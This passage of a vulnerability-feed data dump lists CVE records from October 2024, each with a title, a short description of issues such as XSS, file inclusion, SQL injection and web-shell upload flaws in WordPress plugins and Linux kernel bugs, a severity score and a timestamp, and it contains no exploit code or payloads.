EmbedPress: from n/a through 4.0.14. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T20:21:03.000000Z"}, {"uuid": "d6e5d718-c59f-4fb8-acb6-ab058ac1c931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50460", "type": "seen", "source": "https://t.me/cvedetector/9158", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50460 - FirelightWP Firelight Lightbox Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50460 \nPublished : Oct. 28, 2024, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in FirelightWP Firelight Lightbox allows Stored XSS.This issue affects Firelight Lightbox: from n/a through 2.3.3. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T20:21:02.000000Z"}, {"uuid": "8242ce49-ce47-4f28-8937-c25d6b717310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50087", "type": "seen", "source": "https://t.me/cvedetector/9219", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50087 - Btrfs Uninitialized Pointer Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50087 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbtrfs: fix uninitialized pointer free on read_alloc_one_name() error  \n  \nThe function read_alloc_one_name() does not initialize the name field of  \nthe passed fscrypt_str struct if kmalloc fails to allocate the  \ncorresponding buffer.  Thus, it is not guaranteed that  \nfscrypt_str.name is initialized when freeing it.  \n  \nThis is a follow-up to the linked patch that fixes the remaining  \ninstances of the bug introduced by commit e43eec81c516 (\"btrfs: use  \nstruct qstr instead of name and namelen pairs\"). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:02:53.000000Z"}, {"uuid": "78c9df3e-8137-4881-ab03-dac9becc38e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50081", "type": "seen", "source": "https://t.me/cvedetector/9218", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50081 - Linux Kernel blk-mq Tag Set Setup Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50081 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nblk-mq: setup queue ->tag_set before initializing hctx  \n  \nCommit 7b815817aa58 (\"blk-mq: add helper for checking if one CPU is mapped to specified hctx\")  \nneeds to check queue mapping via tag set in hctx's cpuhp handler.  \n  \nHowever, q->tag_set may not be setup yet when the cpuhp handler is  \nenabled, then kernel oops is triggered.  \n  \nFix the issue by setup queue tag_set before initializing hctx. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:02:52.000000Z"}, {"uuid": "bd09861f-cc7f-4695-bfe7-3787e8110db8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50492", "type": "seen", "source": "https://t.me/cvedetector/9099", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50492 - ScottCart Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50492 \nPublished : Oct. 28, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Improper Control of Generation of Code ('Code Injection') vulnerability in Scott Paterson ScottCart allows Code Injection.This issue affects ScottCart: from n/a through 1.1. \nSeverity: 8.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T13:39:01.000000Z"}, {"uuid": "2dac3d53-a2fb-4495-aa7d-58cf791d5449", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50457", "type": "seen", "source": "https://t.me/cvedetector/9170", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50457 - Qode Essential Addons PHP Remote File Inclusion\", \n  \"Content\": \"CVE ID : CVE-2024-50457 \nPublished : Oct. 28, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : : Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Qode Interactive Qode Essential Addons.This issue affects Qode Essential Addons: from n/a through 1.6.3. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T22:01:23.000000Z"}, {"uuid": "8e0b7888-c8b7-4f4e-a580-198370a0fcff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50453", "type": "seen", "source": "https://t.me/cvedetector/9169", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50453 - Webangon The Pack Elementor Addons PHP Local File Inclusion RPT\", \n  \"Content\": \"CVE ID : CVE-2024-50453 \nPublished : Oct. 28, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : Relative Path Traversal vulnerability in Webangon The Pack Elementor addons allows PHP Local File Inclusion.This issue affects The Pack Elementor addons: from n/a through 2.0.9. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T22:01:23.000000Z"}, {"uuid": "b8c3a007-4d36-43aa-9eed-654a70e4c77d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50615", "type": "seen", "source": "https://t.me/cvedetector/9074", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50615 - TinyXML2 Reachable Assertion Oops\", \n  \"Content\": \"CVE ID : CVE-2024-50615 \nPublished : Oct. 27, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : TinyXML2 through 10.0.0 has a reachable assertion for UINT_MAX/digit, that may lead to application exit, in tinyxml2.cpp XMLUtil::GetCharacterRef. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T00:16:07.000000Z"}, {"uuid": "b7316744-8984-4bda-9897-4ec9f2cbf751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50614", "type": "seen", "source": "https://t.me/cvedetector/9073", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50614 - TinyXML2 Unchecked Arithmetic Exception Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50614 \nPublished : Oct. 27, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : TinyXML2 through 10.0.0 has a reachable assertion for UINT_MAX/16, that may lead to application exit, in tinyxml2.cpp XMLUtil::GetCharacterRef. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T00:16:03.000000Z"}, {"uuid": "914de45c-8cdc-4ba3-8fec-497f492d1459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50495", "type": "seen", "source": "https://t.me/cvedetector/9184", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50495 - WidgiLabs Plugin Propagator Unrestricted File Upload Web Shell RCE\", \n  \"Content\": \"CVE ID : CVE-2024-50495 \nPublished : Oct. 28, 2024, 9:15 p.m. | 32\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in WidgiLabs Plugin Propagator allows Upload a Web Shell to a Web Server.This issue affects Plugin Propagator: from n/a through 0.1. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T22:51:43.000000Z"}, {"uuid": "4f43a1ee-0ed3-4b45-8b37-aca45cdb6ee9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50496", "type": "seen", "source": "https://t.me/cvedetector/9183", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50496 - AR For WordPress Unrestricted File Upload Web Shell Injury\", \n  \"Content\": \"CVE ID : CVE-2024-50496 \nPublished : Oct. 28, 2024, 9:15 p.m. | 32\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in Web and Print Design AR For WordPress allows Upload a Web Shell to a Web Server.This issue affects AR For WordPress: from n/a through 6.2. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T22:51:43.000000Z"}, {"uuid": "05ccf561-e6dc-438f-8308-d5a17f093cf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50435", "type": "seen", "source": "https://t.me/cvedetector/9177", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50435 - Theme Horse Meta News PHP Remote File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50435 \nPublished : Oct. 28, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Theme Horse Meta News.This issue affects Meta News: from n/a through 1.1.7. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T22:01:32.000000Z"}, {"uuid": "3384c171-34f0-4f3e-8ed0-8c5bb18e82dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50434", "type": "seen", "source": "https://t.me/cvedetector/9176", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50434 - Theme Horse NewsCard PHP Remote File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50434 \nPublished : Oct. 28, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Theme Horse NewsCard.This issue affects NewsCard: from n/a through 1.3. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T22:01:31.000000Z"}, {"uuid": "2f4bc1e5-d677-44ed-bf83-33de9d9c276b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50439", "type": "seen", "source": "https://t.me/cvedetector/9150", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50439 - Astra Widgets Stored Cross-site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50439 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Brainstorm Force Astra Widgets allows Stored XSS.This issue affects Astra Widgets: from n/a through 1.2.14. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:43.000000Z"}, {"uuid": "89b38d1a-088c-4636-92f9-c4e3c9efcac1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50438", "type": "seen", "source": "https://t.me/cvedetector/9149", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50438 - Andy Moyle Church Admin Cross-site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50438 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Andy Moyle Church Admin allows Reflected XSS.This issue affects Church Admin: from n/a before 5.0.0. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:43.000000Z"}, {"uuid": "117f7d55-447f-4fc3-9998-9a63cbd5c9f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50436", "type": "seen", "source": "https://t.me/cvedetector/9168", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50436 - Theme Horse Clean Retina PHP Remote File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50436 \nPublished : Oct. 28, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Theme Horse Clean Retina.This issue affects Clean Retina: from n/a through 3.0.6. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T22:01:22.000000Z"}, {"uuid": "ad857022-f4ea-413d-b9ad-d5ff645b165b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50429", "type": "seen", "source": "https://t.me/cvedetector/9167", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50429 - WordPress BlockArt Magazine Blocks Cross-site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50429 \nPublished : Oct. 28, 2024, 7:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WPBlockArt Magazine Blocks allows Stored XSS.This issue affects Magazine Blocks: from n/a through 1.3.15. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T21:11:15.000000Z"}, {"uuid": "2dc4457d-6e06-42aa-b040-414298bd59fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50437", "type": "seen", "source": "https://t.me/cvedetector/9166", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50437 - AyeCode GeoDirectory Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50437 \nPublished : Oct. 28, 2024, 7:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in AyeCode GeoDirectory allows Stored XSS.This issue affects GeoDirectory: from n/a through 2.3.80. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T21:11:14.000000Z"}, {"uuid": "7d20a116-a5eb-4569-8d77-b7d264eb7751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50433", "type": "seen", "source": "https://t.me/cvedetector/9165", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50433 - Elementor Sky Addons Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50433 \nPublished : Oct. 28, 2024, 7:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in wowDevs Sky Addons for Elementor allows Stored XSS.This issue affects Sky Addons for Elementor: from n/a through 2.5.15. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T21:11:10.000000Z"}, {"uuid": "f242dd70-e9e6-406d-b67e-6792121233e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50432", "type": "seen", "source": "https://t.me/cvedetector/9164", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50432 - PickPlugins Post Grid and Gutenberg Blocks Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50432 \nPublished : Oct. 28, 2024, 7:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in PickPlugins Post Grid and Gutenberg Blocks allows Stored XSS.This issue affects Post Grid and Gutenberg Blocks: from n/a through 2.2.93. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T21:11:09.000000Z"}, {"uuid": "f1b29269-9f77-461b-a794-9b5163fd6643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50431", "type": "seen", "source": "https://t.me/cvedetector/9163", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50431 - Cloudways Breeze: Stored Cross-site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50431 \nPublished : Oct. 28, 2024, 7:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Cloudways Breeze allows Stored XSS.This issue affects Breeze: from n/a through 2.1.14. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T21:11:08.000000Z"}, {"uuid": "06c98e6c-2ec8-428a-a5a9-687973876fa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50471", "type": "seen", "source": "https://t.me/cvedetector/9125", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50471 - \"Trip Plan Stored XSS Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50471 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Checklist Trip Plan allows Stored XSS.This issue affects Trip Plan: from n/a through 1.0.10. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:41.000000Z"}, {"uuid": "792f9e30-db58-46e5-b566-f93136ec5613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50470", "type": "seen", "source": "https://t.me/cvedetector/9124", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50470 - Themes4WP YouTube External Subtitles Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50470 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Themes4WP Themes4WP YouTube External Subtitles allows Stored XSS.This issue affects Themes4WP YouTube External Subtitles: from n/a through 1.0. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:40.000000Z"}, {"uuid": "c6957f54-e7ab-4e72-ab44-8480447ae96a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50491", "type": "seen", "source": "https://t.me/cvedetector/9123", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50491 - Micah Blu RSVP ME SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50491 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Micah Blu RSVP ME allows SQL Injection.This issue affects RSVP ME: from n/a through 1.9.9. \nSeverity: 9.3 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:40.000000Z"}, {"uuid": "1c29c50f-c49e-41d1-bff7-943ba35fe65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50483", "type": "seen", "source": "https://t.me/cvedetector/9121", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50483 - Meetup Authorization Bypass Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-50483 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : Authorization Bypass Through User-Controlled Key vulnerability in Meetup allows Privilege Escalation.This issue affects Meetup: from n/a through 0.1. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:38.000000Z"}, {"uuid": "2d09c458-7dc6-4ccc-b0b8-53c372adb073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50468", "type": "seen", "source": "https://t.me/cvedetector/9157", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50468 - Raptor Editor DOM-Based Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50468 \nPublished : Oct. 28, 2024, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Michael Robinson Raptor Editor allows DOM-Based XSS.This issue affects Raptor Editor: from n/a through 1.0.20. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T20:20:58.000000Z"}, {"uuid": "a6e590b0-8470-4b57-a713-f1cfe9e7818b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50488", "type": "seen", "source": "https://t.me/cvedetector/9122", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50488 - Priyabrata Sarkar Token Login Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50488 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : Authentication Bypass Using an Alternate Path or Channel vulnerability in Priyabrata Sarkar Token Login allows Authentication Bypass.This issue affects Token Login: from n/a through 1.0.3. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:39.000000Z"}, {"uuid": "a046360b-76d9-462e-902f-515ece08d422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50576", "type": "seen", "source": "https://t.me/cvedetector/9115", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50576 - JetBrains YouTrack Unvalidated Redirect to Data Uri Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50576 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : In JetBrains YouTrack before 2024.3.47707 stored XSS was possible via vendor URL in App manifest \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:26.000000Z"}, {"uuid": "6081c170-1624-4f84-857c-fe11225dd6fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50575", "type": "seen", "source": 